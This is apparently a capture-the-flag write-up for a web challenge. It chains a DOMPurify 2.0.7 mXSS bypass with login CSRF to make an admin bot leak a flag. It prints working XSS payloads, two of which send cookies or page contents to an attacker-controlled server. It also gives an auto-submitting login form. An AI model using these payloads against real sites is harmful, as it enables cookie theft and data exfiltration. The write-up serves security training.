Tags: csrf xss
Rating:
Challenge description:
I made a markdown editor for all your hacking notes!
Author: todo#7331
To begin the challenge, we can access a website where we can post notes:
After logging in, we can edit and view our notes + we can report a bug to the admin:
The "Report a Bug" button is an indicatior that an XSS is involved in the challenge... As you can see from our last image, it's possible to insert HTML in our notes. However, they are using two JS libraries before inserting our input on the page: DomPurify and ShowdownJS.
const converter = new showdown.Converter();
// http://showdownjs.com/ -> Markdown to HTML converter
// some stuff here...
if(view === 'view') {
markdown.innerHTML = DOMPurify.sanitize(converter.makeHtml(editor.value));
}
/*
* What is inside the note's textarea (text we can edit) is taken with "editor.value"
* Then Showdown converts it to HTML and DOMPurify sanitizes it
* Finally, our input is added to the page using innerHTML (dangerous...)
*/
Showdown is used to convert Markdown to HTML and DomPurify is responsible for removing any dangerous tags - that could cause an XSS for example. Looking at the versions of these libs:
DomPurify is outdated and by looking at possible vulns in its version 2.0.7 here, we find something related to mXSS...
We had to try some stuff until we where able to trigger the mXSS... These 2 worked:
<math><mtext><table><mglyph><style><math><table id="</table>"\><img src onerror="alert(1)">
<math><mtext><table><mglyph><style><math><table id="</table>"\><img src onerror="fetch('<our_server>/'+document.cookie)">
So, we can execute any Javascript code in our notes' page!
Now we probably need to make an admin visit our page. To do that, we need to find a way to authenticate the admin as ourselves.
It's not possible to insert the challenge's page in iframes because of this:
@app.after_request
async def add_security_headers(resp):
resp.headers['Content-Security-Policy'] = "frame-ancestors 'none'"
resp.headers['X-Frame-Options'] = 'none'
# 'X-Frame-Options: 'none' doesn't exists. Should've been "deny", but this doesn't matter because frame-ancestors 'none' makes X-Frame-Options obsolete
return res
However, there's no CSRF token. We can try to send the admin to a server we control. From there, we log the admin in our account. The "Report a bug" page allows sending pages from other domains.
So, we need to server a page that forces the admin to login with our user. The page will be something like this:
<!DOCTYPE html>
<html>
<body>
<form action="https://web-notepad-f6ed1a7d.chal-2021.duc.tf/login" method="POST" id="abc">
<p>
<label for="username">Username</label>
<input id="username" type="text" name="username" value="our_user" required>
</p>
<p>
<label for="password">Password</label>
<input id="password" type="password" name="password" value="our_password" required>
</p>
<button class="button primary">Login</button>
</form>
<script>
document.getElementById('abc').submit();
</script>
</body>
</html>
Moreover, looking again at the app.py
file we where given, we see that there's an /admin
route we can't access - only admins can. So, to reach the flag, we can make the real admin visit the /admin
page and send the flag to us.
@app.route('/admin')
async def admin():
if quart.session.get('admin') != 1:
return "", 403
return open('flag.txt').read()
With this in mind, we can create and store our XSS payload in /me
:
<math><mtext><table><mglyph><style><math><table id="</table>"\><img src onerror=" fetch('/admin').then((data) => data.text()).then((res) => fetch('https://<our_server>/a='+btoa(res)))">
Then, we just "Report a Bug" to admin, passing our server in the URL field. What will happen is:
/me
after login);/admin
page, reading the flag and storing it in res
;fetch('https://<our_server>/a='+btoa(res)))
.Done! We just need to check the requests made to our server and we find the flag base64 encoded:
FLAG: DUCTF{ch4ining_c5rf_c4uses_cha0s_2045c24d}